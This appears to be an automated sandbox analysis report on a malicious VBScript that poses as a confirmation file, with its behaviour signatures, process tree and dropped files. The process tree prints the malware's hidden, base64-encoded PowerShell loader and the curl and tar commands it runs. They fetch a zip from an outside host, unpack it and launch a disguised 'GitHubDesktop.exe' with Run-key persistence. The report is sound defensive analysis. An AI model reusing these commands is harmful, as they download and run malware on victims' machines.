Analysis
- max time kernel
149s - max time network
132s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
17/10/2026, 00:26
General
- Target Confirm.vbs
- Size 1KB
- Sample261017-arma6scd23
- SHA256 24dc93076f8f49ead6e6d785cc7b58723429270a3b8a2f9fa200db058a8b02b5
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Executes dropped EXE 6 IoCs
- Loads dropped DLL 10 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Confirm.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwANAAoAJABlAG4AdgBDAG8AbgB0AGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAARgBpAGwAZQBOAGEAbQBlACgAKQAgACsAIAAnAC4AegBpAHAAJwANAAoAJABoAGQAcgBUAG8AawBlAG4AIAA9ACAAIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXAByAGUAZgBCAHUAaQBsAGQAZQByACIADQAKAGMAdQByAGwALgBlAHgAZQAgAC0AcwBMACAALQBvACAAJABlAG4AdgBDAG8AbgB0AGUAeAB0ACAAaAB0AHQAcABzADoALwAvAGcAZQBvAHIAZwBhAGMAYQBlAG0ALgBjAG8AbQAvAGcAaQB0AGgAdQBiAC4AegBpAHAADQAKAGkAZgAgACgALQBuAG8AdAAgACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZAByAFQAbwBrAGUAbgApACkAIAB7ACAATgBlAHcALQBJAHQAZQBtACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAaABkAHIAVABvAGsAZQBuACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsACAAfQANAAoAdABhAHIALgBlAHgAZQAgAC0AeABmACAAJABlAG4AdgBDAG8AbgB0AGUAeAB0ACAALQBDACAAJABoAGQAcgBUAG8AawBlAG4ADQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACQAZQBuAHYAQwBvAG4AdABlAHgAdAAgAC0ARgBvAHIAYwBlAA0ACgBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAIgAkAGgAZAByAFQAbwBrAGUAbgBcAEcAaQB0AEgAdQBiAEQAZQBzAGsAdABvAHAALgBlAHgAZQAiACkAIAB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABoAGQAcgBUAG8AawBlAG4AXABHAGkAdABIAHUAYgBEAGUAcwBrAHQAbwBwAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAB9AA0ACgA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -sL -o C:\Users\Admin\AppData\Local\Temp\tmp44A0.tmp.zip https://georgacaem.com/github.zip3⤵
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C:\Windows\system32\tar.exe"C:\Windows\system32\tar.exe" -xf C:\Users\Admin\AppData\Local\Temp\tmp44A0.tmp.zip -C C:\Users\Admin\AppData\Local\refBuilder3⤵
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --field-trial-handle=1912,i,3707450283963689739,2759964170408431162,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1964 /prefetch:114⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1912,i,3707450283963689739,2759964170408431162,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1904 /prefetch:24⤵
- Executes dropped EXE
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exeC:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --field-trial-handle=1888,i,15812936629380729139,3522431546361820386,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1936 /prefetch:112⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
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C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe"C:\Users\Admin\AppData\Local\refBuilder\GitHubDesktop.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\GitHub Desktop" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1888,i,15812936629380729139,3522431546361820386,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1884 /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
chrome_100_percent.pak
chrome_200_percent.pak
dxcompiler.dll
dxil.dll
icudtl.dat
libegl.dll
libglesv2.dll
en-US.pak
resources.pak
emnapi.min.d.mts
COPYING.LIB
ct_log_list.cnf.dist
main.js
package.json
v8_context_snapshot.bin
vk_swiftshader.dll
Local State
e984b884-4392-4e1a-9a84-b477c2616038.tmp
daemon.log
memory/4148-965-0x00000277CD2A0000-0x00000277CD81A000-memory.dmp
memory/4148-975-0x00000277CD2A0000-0x00000277CD81A000-memory.dmp
memory/5200-11-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-9-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-14-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-13-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-12-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-0-0x00007FFF468AF000-0x00007FFF468B0000-memory.dmp
memory/5200-10-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-929-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-8-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-7-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-6-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-5-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-2-0x00007FFF46720000-0x00007FFF470C4000-memory.dmp
memory/5200-1-0x0000026712000000-0x0000026712022000-memory.dmp
memory/5636-972-0x000001CCF2D60000-0x000001CCF32DA000-memory.dmp
memory/5636-978-0x000001CCF2D60000-0x000001CCF32DA000-memory.dmp